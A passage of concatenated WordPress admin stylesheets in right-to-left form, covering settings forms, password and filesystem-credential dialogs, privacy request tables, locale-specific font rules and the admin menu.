[type=text]{margin-bottom:0;min-height:30px}.wp-pwd input::-ms-reveal{display:none}#pass1-text,.show-password #pass1{display:none}#pass1-text::-ms-clear{display:none}.show-password #pass1-text{display:inline-block}p.search-box{float:left;margin:0}.network-admin.themes-php p.search-box{clear:right}.search-box input[name="s"],.tablenav .search-plugins input[name="s"],.tagsdiv .newtag{float:right;margin:0 0 0 4px}.js.plugins-php .search-box .wp-filter-search{margin:0;width:280px}input[type=email].ui-autocomplete-loading,input[type=text].ui-autocomplete-loading{background-image:url(../images/loading.gif);background-repeat:no-repeat;background-position:left 5px center;visibility:visible}input.ui-autocomplete-input.open{border-bottom-color:transparent}ul#add-to-blog-users{margin:0 14px 0 0}.ui-autocomplete{padding:0;margin:0;list-style:none;position:absolute;z-index:10000;border:1px solid #4f94d4;box-shadow:0 1px 2px rgba(79,148,212,.8);background-color:#fff}.ui-autocomplete li{margin-bottom:0;padding:4px 10px;white-space:nowrap;text-align:right;cursor:pointer}.ui-autocomplete .ui-state-focus{background-color:#dcdcde}.wp-tags-autocomplete .ui-state-focus,.wp-tags-autocomplete [aria-selected=true]{background-color:#2271b1;color:#fff;outline:2px solid transparent}.button-add-site-icon{width:100%;cursor:pointer;text-align:center;border:1px dashed #c3c4c7;box-sizing:border-box;padding:9px 0;line-height:1.6;max-width:270px}.button-add-site-icon:focus,.button-add-site-icon:hover{background:#fff}.site-icon-section .favicon-preview{float:right}.site-icon-section .app-icon-preview{float:right;margin:0 20px}.site-icon-section .site-icon-preview img{max-width:100%}.button-add-site-icon:focus{background-color:#fff;border-color:#3582c4;border-style:solid;box-shadow:0 0 0 1px #3582c4;outline:2px solid transparent}.form-table{border-collapse:collapse;margin-top:.5em;width:100%;clear:both}.form-table,.form-table td,.form-table td p,.form-table th{font-size:14px}.form-table td{margin-bottom:9px;padding:15px 10px;line-height:1.3;vertical-align:middle}.form-table th,.form-wrap label{color:#1d2327;font-weight:400;text-shadow:none;vertical-align:baseline}.form-table th{vertical-align:top;text-align:right;padding:20px 0 20px 10px;width:200px;line-height:1.3;font-weight:600}.form-table .td-full,.form-table th.th-full{width:auto;padding:20px 0 20px 10px;font-weight:400}.form-table td p{margin-top:4px;margin-bottom:0}.form-table .date-time-doc{margin-top:1em}.form-table p.timezone-info{margin:1em 0;display:flex;flex-direction:column}#local-time{margin-top:.5em}.form-table td fieldset label{margin:.35em 0 .5em!important;display:inline-block}.form-table td fieldset p label{margin-top:0!important}.form-table td fieldset label,.form-table td fieldset li,.form-table td fieldset p{line-height:1.4}.form-table input.tog,.form-table input[type=radio]{margin-top:-4px;margin-left:4px;float:none}.form-table .pre{padding:8px;margin:0}table.form-table td .updated{font-size:13px}table.form-table td .updated p{font-size:13px;margin:.3em 0}#profile-page .form-table textarea{width:500px;margin-bottom:6px}#profile-page .form-table #rich_editing{margin-left:5px}#your-profile legend{font-size:22px}#display_name{width:15em}#adduser .form-field input,#createuser .form-field input{width:25em}.color-option{display:inline-block;width:24%;padding:5px 15px 15px;box-sizing:border-box;margin-bottom:3px}.color-option.selected,.color-option:hover{background:#dcdcde}.color-palette{display:table;width:100%;border-spacing:0;border-collapse:collapse}.color-palette .color-palette-shade,.color-palette td{display:table-cell;height:20px;padding:0;border:none}.color-option{cursor:pointer}.create-application-password .form-field{max-width:25em}.create-application-password label{font-weight:600}.create-application-password p.submit{margin-bottom:0;padding-bottom:0;display:block}#application-passwords-section .notice{margin-top:20px;margin-bottom:0;word-wrap:break-word}.application-password-display input.code{width:19em}.auth-app-card.card{max-width:768px}.authorize-application-php .form-wrap p{display:block}.tool-box .title{margin:8px 0;font-size:18px;font-weight:400;line-height:24px}.label-responsive{vertical-align:middle}#export-filters p{margin:0 0 1em}#export-filters p.submit{margin:7px 0 5px}.card{position:relative;margin-top:20px;padding:.7em 2em 1em;min-width:255px;max-width:520px;border:1px solid #c3c4c7;box-shadow:0 1px 1px rgba(0,0,0,.04);background:#fff;box-sizing:border-box}.pressthis h4{margin:2em 0 1em}.pressthis textarea{width:100%;font-size:1em}#pressthis-code-wrap{overflow:auto}.pressthis-bookmarklet-wrapper{margin:20px 0 8px;vertical-align:top;position:relative;z-index:1}.pressthis-bookmarklet,.pressthis-bookmarklet:active,.pressthis-bookmarklet:focus,.pressthis-bookmarklet:hover{display:inline-block;position:relative;cursor:move;color:#2c3338;background:#dcdcde;border-radius:5px;border:1px solid #c3c4c7;font-style:normal;line-height:16px;font-size:14px;text-decoration:none}.pressthis-bookmarklet:active{outline:0}.pressthis-bookmarklet:after{content:"";width:70%;height:55%;z-index:-1;position:absolute;left:10px;bottom:9px;background:0 0;transform:skew(-20deg) rotate(-6deg);box-shadow:0 10px 8px rgba(0,0,0,.6)}.pressthis-bookmarklet:hover:after{transform:skew(-20deg) rotate(-9deg);box-shadow:0 10px 8px rgba(0,0,0,.7)}.pressthis-bookmarklet span{display:inline-block;margin:0;padding:0 9px 8px 12px}.pressthis-bookmarklet span:before{color:#787c82;font:normal 20px/1 dashicons;content:"\f157";position:relative;display:inline-block;top:4px;margin-left:4px}.pressthis-js-toggle{margin-right:10px;padding:0;height:auto;vertical-align:top}.pressthis-js-toggle.button.button{margin-right:10px;padding:0;height:auto;vertical-align:top}.pressthis-js-toggle .dashicons{margin:5px 7px 6px 8px;color:#50575e}.timezone-info code{white-space:nowrap}.defaultavatarpicker .avatar{margin:2px 0;vertical-align:middle}.options-general-php .date-time-text{display:inline-block;min-width:10em}.options-general-php input.small-text{width:56px;margin:-2px 0}.options-general-php .spinner{float:none;margin:-3px 3px 0}.options-general-php .language-install-spinner,.profile-php .language-install-spinner,.settings-php .language-install-spinner,.user-edit-php .language-install-spinner{display:inline-block;float:none;margin:-3px 5px 0;vertical-align:middle}.form-table.permalink-structure .available-structure-tags{margin-top:8px}.form-table.permalink-structure .available-structure-tags ul{display:flex;flex-wrap:wrap;margin:8px 0 0}.form-table.permalink-structure .available-structure-tags li{margin:6px 0 0 5px}.form-table.permalink-structure .available-structure-tags li:last-child{margin-left:0}.form-table.permalink-structure .structure-selection .row{margin-bottom:16px}.form-table.permalink-structure .structure-selection .row>div{max-width:calc(100% - 24px);display:inline-flex;flex-direction:column}.form-table.permalink-structure .structure-selection .row label{font-weight:600}.form-table.permalink-structure .structure-selection .row p{margin-top:0}.setup-php textarea{max-width:100%}.form-field #site-address{max-width:25em}.form-field #domain{max-width:22em}.form-field #admin-email,.form-field #blog_last_updated,.form-field #blog_registered,.form-field #path,.form-field #site-title{max-width:25em}.form-field #path{margin-bottom:5px}#search-sites,#search-users{max-width:60%}.configuration-rules-label{font-weight:600;margin-bottom:4px}.request-filesystem-credentials-dialog{display:none;visibility:visible}.request-filesystem-credentials-dialog .notification-dialog{top:10%;max-height:85%}.request-filesystem-credentials-dialog-content{margin:25px}#request-filesystem-credentials-title{font-size:1.3em;margin:1em 0}.request-filesystem-credentials-form legend{font-size:1em;padding:1.33em 0;font-weight:600}.request-filesystem-credentials-form input[type=password],.request-filesystem-credentials-form input[type=text]{display:block}.request-filesystem-credentials-dialog input[type=password],.request-filesystem-credentials-dialog input[type=text]{width:100%}.request-filesystem-credentials-form .field-title{font-weight:600}.request-filesystem-credentials-dialog label[for=hostname],.request-filesystem-credentials-dialog label[for=private_key],.request-filesystem-credentials-dialog label[for=public_key]{display:block;margin-bottom:1em}.request-filesystem-credentials-dialog .ftp-password,.request-filesystem-credentials-dialog .ftp-username{float:right;width:48%}.request-filesystem-credentials-dialog .ftp-password{margin-right:4%}.request-filesystem-credentials-dialog .request-filesystem-credentials-action-buttons{text-align:left}.request-filesystem-credentials-dialog label[for=ftp]{margin-left:10px}.request-filesystem-credentials-dialog #auth-keys-desc{margin-bottom:0}#request-filesystem-credentials-dialog .button:not(:last-child){margin-left:10px}#request-filesystem-credentials-form .cancel-button{display:none}#request-filesystem-credentials-dialog .cancel-button{display:inline}.request-filesystem-credentials-dialog .ftp-password,.request-filesystem-credentials-dialog .ftp-username{float:none;width:auto}.request-filesystem-credentials-dialog .ftp-username{margin-bottom:1em}.request-filesystem-credentials-dialog .ftp-password{margin:0}.request-filesystem-credentials-dialog .ftp-password em{color:#8c8f94}.request-filesystem-credentials-dialog label{display:block;line-height:1.5;margin-bottom:1em}.request-filesystem-credentials-form legend{padding-bottom:0}.request-filesystem-credentials-form #ssh-keys legend{font-size:1.3em}.request-filesystem-credentials-form .notice{margin:0 0 20px;clear:both}.tools-privacy-policy-page form{margin-bottom:1.3em}.tools-privacy-policy-page input.button{margin:0 6px 0 1px}.tools-privacy-policy-page select{margin:0 6px .5em 1px}.tools-privacy-edit{margin:1.5em 0}.tools-privacy-policy-page span{line-height:2}.privacy_requests .column-email{width:40%}.privacy_requests .column-type{text-align:center}.privacy_requests tfoot td:first-child,.privacy_requests thead td:first-child{border-right:4px solid #fff}.privacy_requests tbody th{border-right:4px solid #fff;background:#fff;box-shadow:inset 0 -1px 0 rgba(0,0,0,.1)}.privacy_requests .row-actions{color:#787c82}.privacy_requests .row-actions.processing{position:static}.privacy_requests tbody .has-request-results th{box-shadow:none}.privacy_requests tbody .request-results th .notice{margin:0 0 5px}.privacy_requests tbody td{background:#fff;box-shadow:inset 0 -1px 0 rgba(0,0,0,.1)}.privacy_requests tbody .has-request-results td{box-shadow:none}.privacy_requests .next_steps .button{word-wrap:break-word;white-space:normal}.privacy_requests .status-request-confirmed td,.privacy_requests .status-request-confirmed th{background-color:#fff;border-right-color:#72aee6}.privacy_requests .status-request-failed td,.privacy_requests .status-request-failed th{background-color:#f6f7f7;border-right-color:#d63638}.privacy_requests .export_personal_data_failed a{vertical-align:baseline}.status-label{font-weight:600}.status-label.status-request-pending{font-weight:400;font-style:italic;color:#646970}.status-label.status-request-failed{color:#d63638;font-weight:600}.wp-privacy-request-form{clear:both}.wp-privacy-request-form-field{margin:1.5em 0}.wp-privacy-request-form input{margin:0}.email-personal-data::before{display:inline-block;font:normal 20px/1 dashicons;margin:3px -2px 0 5px;speak:never;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale;vertical-align:top}.email-personal-data--sending::before{color:#d63638;content:"\f463";animation:rotation 2s infinite linear}.email-personal-data--sent::before{color:#68de7c;content:"\f147"}@media screen and (max-width:782px){textarea{-webkit-appearance:none}input[type=date],input[type=datetime-local],input[type=datetime],input[type=email],input[type=month],input[type=number],input[type=password],input[type=search],input[type=tel],input[type=text],input[type=time],input[type=url],input[type=week]{-webkit-appearance:none;padding:3px 10px;min-height:40px}::-webkit-datetime-edit{line-height:1.875}.widefat tfoot td input[type=checkbox],.widefat th input[type=checkbox],.widefat thead td input[type=checkbox],input[type=checkbox]{-webkit-appearance:none}.widefat tfoot td input[type=checkbox],.widefat th input[type=checkbox],.widefat thead td input[type=checkbox]{margin-bottom:8px}.widefat tfoot td input[type=checkbox]:before,.widefat th input[type=checkbox]:before,.widefat thead td input[type=checkbox]:before,input[type=checkbox]:checked:before{width:1.875rem;height:1.875rem;margin:-.1875rem -.3125rem}input[type=checkbox],input[type=radio]{height:1.5625rem;width:1.5625rem}.wp-admin p input[type=checkbox],.wp-admin p input[type=radio]{margin-top:-.1875rem}input[type=radio]:checked:before{vertical-align:middle;width:.5625rem;height:.5625rem;margin:.4375rem;line-height:.76190476}.wp-upload-form input[type=submit]{margin-top:10px}.wp-admin .form-table select,.wp-core-ui select{min-height:40px;font-size:16px;line-height:1.625;padding:5px 8px 5px 24px}.wp-admin .button-cancel{margin-bottom:0;padding:2px 0;font-size:14px;vertical-align:middle}#adduser .form-field input,#createuser .form-field input{width:100%}.form-table{box-sizing:border-box}.form-table td,.form-table th,.label-responsive{display:block;width:auto;vertical-align:middle}.label-responsive{margin:.5em 0}.export-filters li{margin-bottom:0}.form-table .color-palette .color-palette-shade,.form-table .color-palette td{display:table-cell;width:15px;height:30px;padding:0}.form-table .color-palette{margin-left:10px}input,textarea{font-size:16px}#profile-page .form-table textarea,.form-table span.description,.form-table td input[type=email],.form-table td input[type=password],.form-table td input[type=text],.form-table td select,.form-table td textarea{width:100%;display:block;max-width:none;box-sizing:border-box}.form-table .form-required.form-invalid td:after{float:left;margin:-30px 0 0 3px}.form-table input[type=text].small-text,input[type=number].small-text,input[type=password].small-text,input[type=search].small-text,input[type=text].small-text{width:auto;max-width:4.375em;display:inline;padding:3px 6px;margin:0 3px}.form-table .regular-text~input[type=text].small-text{margin-top:5px}#pass-strength-result{width:100%;box-sizing:border-box;padding:8px}.password-input-wrapper{display:block}p.search-box{float:none;width:100%;margin-bottom:20px;display:flex}p.search-box input[name="s"]{float:none;width:100%;margin-bottom:10px;vertical-align:middle}p.search-box input[type=submit]{margin-bottom:10px}.form-table span.description{display:inline;padding:4px 0 0;line-height:1.4;font-size:14px}.form-table th{padding:10px 0 0;border-bottom:0}.form-table td{margin-bottom:0;padding:4px 0 6px}.form-table.permalink-structure td code{display:inline-block}.form-table.permalink-structure .structure-selection{margin-top:8px}.form-table.permalink-structure .structure-selection .row>div{max-width:calc(100% - 36px);width:100%}.form-table.permalink-structure td input[type=text]{margin-top:4px}.form-table input.regular-text{width:100%}.form-table label{font-size:14px}.form-table td>label:first-child{display:inline-block;margin-top:.35em}.background-position-control .button-group>label{font-size:0}.form-table fieldset label{display:block}.form-field #domain{max-width:none}.wp-pwd{position:relative}#profile-page .form-table #pass1{padding-left:90px}.wp-pwd button.button{background:0 0;border:1px solid transparent;box-shadow:none;line-height:2;margin:0;padding:5px 9px;position:absolute;left:0;top:0;width:2.375rem;height:2.375rem;min-width:40px;min-height:40px}.wp-pwd button.wp-hide-pw{left:2.5rem}body.user-new-php .wp-pwd button.wp-hide-pw{left:0}.wp-pwd button.button:focus,.wp-pwd button.button:hover{background:0 0}.wp-pwd button.button:active{background:0 0;box-shadow:none;transform:none}.wp-pwd .button .text{display:none}.wp-pwd [type=password],.wp-pwd [type=text]{line-height:2;padding-left:5rem}body.user-new-php .wp-pwd [type=password],body.user-new-php .wp-pwd [type=text]{padding-left:2.5rem}.wp-cancel-pw .dashicons-no{display:inline-block}.mailserver-pass-wrap .wp-pwd{display:block}#mailserver_pass{padding-left:10px}.options-general-php input[type=text].small-text{max-width:6.25em;margin:0}.tools-privacy-policy-page form.wp-create-privacy-page{margin-bottom:1em}.tools-privacy-policy-page input#set-page,.tools-privacy-policy-page select{margin:10px 0 0}.tools-privacy-policy-page .wp-create-privacy-page span{display:block;margin-bottom:1em}.tools-privacy-policy-page .wp-create-privacy-page .button{margin-right:0}.wp-list-table.privacy_requests tr:not(.inline-edit-row):not(.no-items) td.column-primary:not(.check-column){display:table-cell}.wp-list-table.privacy_requests.widefat th input,.wp-list-table.privacy_requests.widefat thead td input{margin-right:5px}.wp-privacy-request-form-field input[type=text]{width:100%;margin-bottom:10px;vertical-align:middle}.regular-text{max-width:100%}}@media only screen and (max-width:768px){.form-field input[type=email],.form-field input[type=password],.form-field input[type=text],.form-field select,.form-field textarea{width:99%}.form-wrap .form-field{padding:0}}@media only screen and (max-height:480px),screen and (max-width:450px){.file-editor-warning .notification-dialog,.request-filesystem-credentials-dialog .notification-dialog{width:100%;height:100%;max-height:100%;position:fixed;top:0;margin:0;right:0}}@media screen and (max-width:600px){.color-option{width:49%}}@media only screen and (max-width:320px){.options-general-php .date-time-text.date-time-custom-text{min-width:0;margin-left:.5em}}@keyframes rotation{0%{transform:rotate(0)}100%{transform:rotate(-359deg)}}/*! This file is auto-generated */
/*------------------------------------------------------------------------------
  27.0 - Localization
------------------------------------------------------------------------------*/

/* RTL except Hebrew (see below): Tahoma as the first font; */
body.rtl,
body.rtl .press-this a.wp-switch-editor {
	font-family: Tahoma, Arial, sans-serif;
}

/* Arial is best for RTL headings. */
.rtl h1,
.rtl h2,
.rtl h3,
.rtl h4,
.rtl h5,
.rtl h6 {
	font-family: Arial, sans-serif;
	font-weight: 600;
}

/* he_IL: Remove Tahoma from the font stack. Arial is best for Hebrew. */
body.locale-he-il,
body.locale-he-il .press-this a.wp-switch-editor {
	font-family: Arial, sans-serif;
}

/* he_IL: Have <em> be bold rather than italic. */
.locale-he-il em {
	font-style: normal;
	font-weight: 600;
}

/* zh_CN: Remove italic properties. */
.locale-zh-cn .howto,
.locale-zh-cn .tablenav .displaying-num,
.locale-zh-cn .js .input-with-default-title,
.locale-zh-cn .link-to-original,
.locale-zh-cn .inline-edit-row fieldset span.title,
.locale-zh-cn .inline-edit-row fieldset span.checkbox-title,
.locale-zh-cn #utc-time,
.locale-zh-cn #local-time,
.locale-zh-cn p.install-help,
.locale-zh-cn p.help,
.locale-zh-cn p.description,
.locale-zh-cn span.description,
.locale-zh-cn .form-wrap p {
	font-style: normal;
}

/* zh_CN: Enlarge dashboard widget 'Configure' link */
.locale-zh-cn .hdnle a { font-size: 12px; }

/* zn_CH: Enlarge font size, set font-size: normal */
.locale-zh-cn form.upgrade .hint { font-style: normal; font-size: 100%; }

/* zh_CN: Enlarge font-size. */
.locale-zh-cn #sort-buttons { font-size: 1em !important; }

/* de_DE: Text needs more space for translation */
.locale-de-de #customize-header-actions .button,
.locale-de-de-formal #customize-header-actions .button {
	padding: 0 5px 1px; /* default 0 10px 1px */
}
.locale-de-de #customize-header-actions .spinner,
.locale-de-de-formal #customize-header-actions .spinner {
	margin: 16px 3px 0; /* default 16px 4px 0 5px */
}

/* ru_RU: Text needs more room to breathe. */
.locale-ru-ru #adminmenu {
	width: inherit; /* back-compat for pre-3.2 */
}
.locale-ru-ru #adminmenu,
.locale-ru-ru #wpbody {
	margin-right: 0; /* back-compat for pre-3.2 */
}
.locale-ru-ru .inline-edit-row fieldset label span.title,
.locale-ru-ru .inline-edit-row fieldset.inline-edit-date legend {
	width: 8em; /* default 6em */
}
.locale-ru-ru .inline-edit-row fieldset label span.input-text-wrap,
.locale-ru-ru .inline-edit-row fieldset .timestamp-wrap {
	margin-right: 8em; /* default 6em */
}
.locale-ru-ru.post-php .tagsdiv .newtag,
.locale-ru-ru.post-new-php .tagsdiv .newtag {
	width: 165px; /* default 180px - 15px */
}
.locale-ru-ru.press-this .posting {
	margin-left: 277px; /* default 252px + 25px */
}
.locale-ru-ru .press-this-sidebar {
	width: 265px; /* default 240px + 25px */
}
.locale-ru-ru #customize-header-actions .button {
	padding: 0 5px 1px; /* default 0 10px 1px */
}
.locale-ru-ru #customize-header-actions .spinner {
	margin: 16px 3px 0; /* default 16px 4px 0 5px */
}

/* lt_LT: QuickEdit */
.locale-lt-lt .inline-edit-row fieldset label span.title,
.locale-lt-lt .inline-edit-row fieldset.inline-edit-date legend {
	width: 8em; /* default 6em */
}
.locale-lt-lt .inline-edit-row fieldset label span.input-text-wrap,
.locale-lt-lt .inline-edit-row fieldset .timestamp-wrap {
	margin-right: 8em; /* default 6em */
}

@media screen and (max-width: 782px) {
	.locale-ru-ru .inline-edit-row fieldset label span.input-text-wrap,
	.locale-ru-ru .inline-edit-row fieldset .timestamp-wrap,
	.locale-lt-lt .inline-edit-row fieldset label span.input-text-wrap,
	.locale-lt-lt .inline-edit-row fieldset .timestamp-wrap {
		margin-right: 0;
	}
}
/*! This file is auto-generated */
#adminmenu,#adminmenu .wp-submenu,#adminmenuback,#adminmenuwrap{width:160px;background-color:#1d2327}#adminmenuback{position:fixed;top:0;bottom:-120px;z-index:1}.php-error #adminmenuback{position:absolute}.php-error #adminmenuback,.php-error #adminmenuwrap{margin-top:2em}#adminmenu{clear:right;margin:12px 0;padding:0;list-style:none}.folded #adminmenu,.folded #adminmenu li.menu-top,.folded #adminmenuback,.folded #adminmenuwrap{width:36px}.menu-icon-appearance div.wp-menu-image,.menu-icon-comments div.wp-menu-image,.menu-icon-dashboard div.wp-menu-image,.menu-icon-generic div.wp-menu-image,.menu-icon-links div.wp-menu-image,.menu-icon-media div.wp-menu-image,.menu-icon-page div.wp-menu-image,.menu-icon-plugins div.wp-menu-image,.menu-icon-post div.wp-menu-image,.menu-icon-settings div.wp-menu-image,.menu-icon-site div.wp-menu-image,.menu-icon-tools div.wp-menu-image,.menu-icon-users div.wp-menu-image{background-image:none!important}#adminmenuwrap{position:relative;float:right;z-index:9990}#adminmenu *{-webkit-user-select:none;user-select:none}#adminmenu li{margin:0;padding:0}#adminmenu a{display:block;line-height:1.3;padding:2px 5px;color:#f0f0f1}#adminmenu .wp-submenu a{color:#c3c4c7;color:rgba(240,246,252,.7);font-size:13px;line-height:1.4;margin:0;padding:5px 0}#adminmenu .wp-submenu a:focus,#adminmenu .wp-submenu a:hover{background:0 0}#adminmenu .wp-submenu a:focus,#adminmenu .wp-submenu a:hover,#adminmenu a:hover,#adminmenu li.menu-top>a:focus{color:#72aee6}#adminmenu a:focus,#adminmenu a:hover,.folded #adminmenu .wp-submenu-head:hover{box-shadow:inset -4px 0 0 0 currentColor;transition:box-shadow .1s linear}#adminmenu li.menu-top{border:none;min-height:34px;position:relative}#adminmenu .wp-submenu{list-style:none;position:absolute;top:-1000em;right:160px;overflow:visible;word-wrap:break-word;padding:7px 0 8px;z-index:9999;background-color:#2c3338;box-shadow:0 3px 5px rgba(0,0,0,.2)}#adminmenu a.menu-top:focus+.wp-submenu,.js #adminmenu .opensub .wp-submenu,.js #adminmenu .sub-open,.no-js li.wp-has-submenu:hover .wp-submenu{top:-1px}#adminmenu a.wp-has-current-submenu:focus+.wp-submenu{top:0}#adminmenu .wp-has-current-submenu .wp-submenu,#adminmenu .wp-has-current-submenu .wp-submenu.sub-open,#adminmenu .wp-has-current-submenu.opensub .wp-submenu,.no-js li.wp-has-current-submenu:hover .wp-submenu{position:relative;z-index:3;top:auto;right:auto;left:auto;bottom:auto;border:0 none;margin-top:0;box-shadow:none}.folded #adminmenu .wp-has-current-submenu .wp-submenu{box-shadow:0 3px 5px rgba(0,0,0,.2)}#adminmenu li.menu-top:hover,#adminmenu li.opensub>a.menu-top,#adminmenu li>a.menu-top:focus{position:relative;background-color:#1d2327;color:#72aee6}.folded #adminmenu li.menu-top:hover,.folded #adminmenu li.opensub>a.menu-top,.folded #adminmenu li>a.menu-top:focus{z-index:10000}#adminmenu .wp-has-current-submenu .wp-submenu .wp-submenu-head,#adminmenu .wp-menu-arrow,#adminmenu .wp-menu-arrow div,#adminmenu li.current a.menu-top,#adminmenu li.wp-has-current-submenu a.wp-has-current-submenu{background:#2271b1;color:#fff}.folded #adminmenu .opensub .wp-submenu,.folded #adminmenu .wp-has-current-submenu .wp-submenu.sub-open,.folded #adminmenu .wp-has-current-submenu a.menu-top:focus+.wp-submenu,.folded #adminmenu .wp-has-current-submenu.opensub .wp-submenu,.folded #adminmenu .wp-submenu.sub-open,.folded #adminmenu a.menu-top:focus+.wp-submenu,.no-js.folded #adminmenu .wp-has-submenu:hover .wp-submenu{top:0;right:36px}.folded #adminmenu .wp-has-current-submenu .wp-submenu,.folded #adminmenu a.wp-has-current-submenu:focus+.wp-submenu{position:absolute;top:-1000em}#adminmenu .wp-not-current-submenu .wp-submenu,.folded #adminmenu .wp-has-current-submenu .wp-submenu{min-width:160px;width:auto;border-right:5px solid transparent}#adminmenu .opensub .wp-submenu li.current a,#adminmenu .wp-submenu li.current,#adminmenu .wp-submenu li.current a,#adminmenu .wp-submenu li.current a:focus,#adminmenu .wp-submenu li.current a:hover,#adminmenu a.wp-has-current-submenu:focus+.wp-submenu li.current a{color:#fff}#adminmenu .wp-not-current-submenu li>a,.folded #adminmenu .wp-has-current-submenu li>a{padding-left:16px;padding-right:14px;transition:all .1s ease-in-out,outline 0s}#adminmenu .wp-has-current-submenu ul>li>a,.folded #adminmenu li.menu-top .wp-submenu>li>a{padding:5px 12px}#adminmenu .wp-submenu-head,#adminmenu a.menu-top{font-size:14px;font-weight:400;line-height:1.3;padding:0}#adminmenu .wp-submenu-head{display:none}.folded #adminmenu .wp-menu-name{position:absolute;right:-999px}.folded #adminmenu .wp-submenu-head{display:block}#adminmenu .wp-submenu li{padding:0;margin:0}#adminmenu .wp-menu-image img{padding:9px 0 0;opacity:.6}#adminmenu div.wp-menu-name{padding:8px 36px 8px 8px;overflow-wrap:break-word;word-wrap:break-word;-ms-word-break:break-all;word-break:break-word;-webkit-hyphens:auto;hyphens:auto}#adminmenu div.wp-menu-image{float:right;width:36px;height:34px;margin:0;text-align:center}#adminmenu div.wp-menu-image.svg{background-repeat:no-repeat;background-position:center;background-size:20px auto}div.wp-menu-image:before{color:#a7aaad;color:rgba(240,246,252,.6);padding:7px 0;transition:all .1s ease-in-out}#adminmenu div.wp-menu-image:before{color:#a7aaad;color:rgba(240,246,252,.6)}#adminmenu .current div.wp-menu-image:before,#adminmenu .wp-has-current-submenu div.wp-menu-image:before,#adminmenu a.current:hover div.wp-menu-image:before,#adminmenu a.wp-has-current-submenu:hover div.wp-menu-image:before,#adminmenu li.wp-has-current-submenu a:focus div.wp-menu-image:before,#adminmenu li.wp-has-current-submenu.opensub div.wp-menu-image:before,#adminmenu li.wp-has-current-submenu:hover div.wp-menu-image:before{color:#fff}#adminmenu li a:focus div.wp-menu-image:before,#adminmenu li.opensub div.wp-menu-image:before,#adminmenu li:hover div.wp-menu-image:before{color:#72aee6}.folded #adminmenu div.wp-menu-image{width:35px;height:30px;position:absolute;z-index:25}.folded #adminmenu a.menu-top{height:34px}.sticky-menu #adminmenuwrap{position:fixed}.wp-menu-arrow{display:none!important}ul#adminmenu a.wp-has-current-submenu{position:relative}ul#adminmenu a.wp-has-current-submenu:after,ul#adminmenu>li.current>a.current:after{left:0;border:solid 8px transparent;content:" ";height:0;width:0;position:absolute;pointer-events:none;border-left-color:#f0f0f1;top:50%;margin-top:-8px}.folded ul#adminmenu li.wp-has-current-submenu:focus-within a.wp-has-current-submenu:after,.folded ul#adminmenu li:hover a.wp-has-current-submenu:after{display:none}.folded ul#adminmenu a.wp-has-current-submenu:after,.folded ul#adminmenu>li a.current:after{border-width:4px;margin-top:-4px}#adminmenu li.wp-has-submenu.wp-not-current-submenu:focus-within:after,#adminmenu li.wp-has-submenu.wp-not-current-submenu:hover:after{left:0;border:8px solid transparent;content:" ";height:0;width:0;position:absolute;pointer-events:none;top:10px;z-index:10000}.folded ul#adminmenu li.wp-has-submenu.wp-not-current-submenu:focus-within:after,.folded ul#adminmenu li.wp-has-submenu.wp-not-current-submenu:hover:after{border-width:4px;margin-top:-4px;top:18px}#adminmenu li.wp-has-submenu.wp-not-current-submenu.opensub:hover:after,#adminmenu li.wp-has-submenu.wp-not-current-submenu:focus-within:after{border-left-color:#2c3338}#adminmenu li.menu-top:hover .wp-menu-image img,#adminmenu li.wp-has-current-submenu .wp-menu-image img{opacity:1}#adminmenu li.wp-menu-separator{height:5px;padding:0;margin:0 0 6px;cursor:inherit}#adminmenu div.separator{height:2px;padding:0}#adminmenu .wp-submenu .wp-submenu-head{color:#fff;font-weight:400;font-size:14px;padding:5px 11px 5px 4px;margin:-7px -5px 4px 0;border-width:3px 5px 3px 0;border-style:solid;border-color:transparent}#adminmenu li.current,.folded #adminmenu li.wp-menu-open{border:0 none}#adminmenu .awaiting-mod,#adminmenu .menu-counter,#adminmenu .update-plugins{display:inline-block;vertical-align:top;box-sizing:border-box;margin:1px 2px -1px 0;padding:0 5px;min-width:18px;height:18px;border-radius:9px;background-color:#d63638;color:#fff;font-size:11px;line-height:1.6;text-align:center;z-index:26}#adminmenu li a.wp-has-current-submenu .update-plugins,#adminmenu li.current a .awaiting-mod{background-color:#d63638;color:#fff}#adminmenu li span.count-0{display:none}#collapse-button{display:block;width:100%;height:34px;margin:0;border:none;padding:0;position:relative;overflow:visible;background:0 0;color:#a7aaad;cursor:pointer}#collapse-button:hover{color:#72aee6}#collapse-button:focus{color:#72aee6;outline:1px solid transparent;outline-offset:-1px}#collapse-button .collapse-button-icon,#collapse-button .collapse-button-label{display:block;position:absolute;top:0;right:0}#collapse-button .collapse-button-label{top:8px}#collapse-button .collapse-button-icon{width:36px;height:34px}#collapse-button .collapse-button-label{padding:0 36px 0 0}.folded #collapse-button .collapse-button-label{display:none}#collapse-button .collapse-button-icon:after{content:"\f148";display:block;position:relative;top:7px;text-align:center;font:normal 20px/1 dashicons!important;speak:never;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}.folded #collapse-button .collapse-button-icon:after,.rtl #collapse-button .collapse-button-icon:after{transform:rotate(180deg)}.rtl.folded #collapse-button .collapse-button-icon:after{transform:none}#collapse-button .collapse-button-icon:after,#collapse-button .collapse-button-label{transition:all .1s ease-in-out}li#wp-admin-bar-menu-toggle{display:none}.customize-support #menu-appearance a[href="themes.php?page=custom-background"],.customize-support #menu-appearance a[href="themes.php?page=custom-header"]{display:none}@media only screen and (max-width:960px){.auto-fold #wpcontent,.auto-fold #wpfooter{margin-right:36px}.auto-fold #adminmenu,.auto-fold #adminmenu li.menu-top,.auto-fold #adminmenuback,.auto-fold #adminmenuwrap{width:36px}.auto-fold #adminmenu .opensub .wp-submenu,.auto-fold #adminmenu .wp-has-current-submenu .wp-submenu.sub-open,.auto-fold #adminmenu .wp-has-current-submenu a.menu-top:focus+.wp-submenu,.auto-fold #adminmenu .wp-has-current-submenu.opensub .wp-submenu,.auto-fold #adminmenu .wp-submenu.sub-open,.auto-fold #adminmenu a.menu-top:focus+.wp-submenu{top:0;right:36px}.auto-fold #adminmenu .wp-has-current-submenu .wp-submenu,.auto-fold #adminmenu a.wp-has-current-submenu:focus+.wp-submenu{position:absolute;top:-1000em;margin-left:-1px;padding:7px 0 8px;z-index:9999}.auto-fold #adminmenu .wp-has-current-submenu .wp-submenu{min-width:150px;width:auto}.auto-fold #adminmenu .wp-has-current-submenu li>a{padding-left:16px;padding-right:14px}.auto-fold #adminmenu li.menu-top .wp-submenu>li>a{padding-right:12px}.auto-fold #adminmenu .wp-menu-name{position:absolute;right:-999px}.auto-fold #adminmenu .wp-submenu-head{display:block}.auto-fold 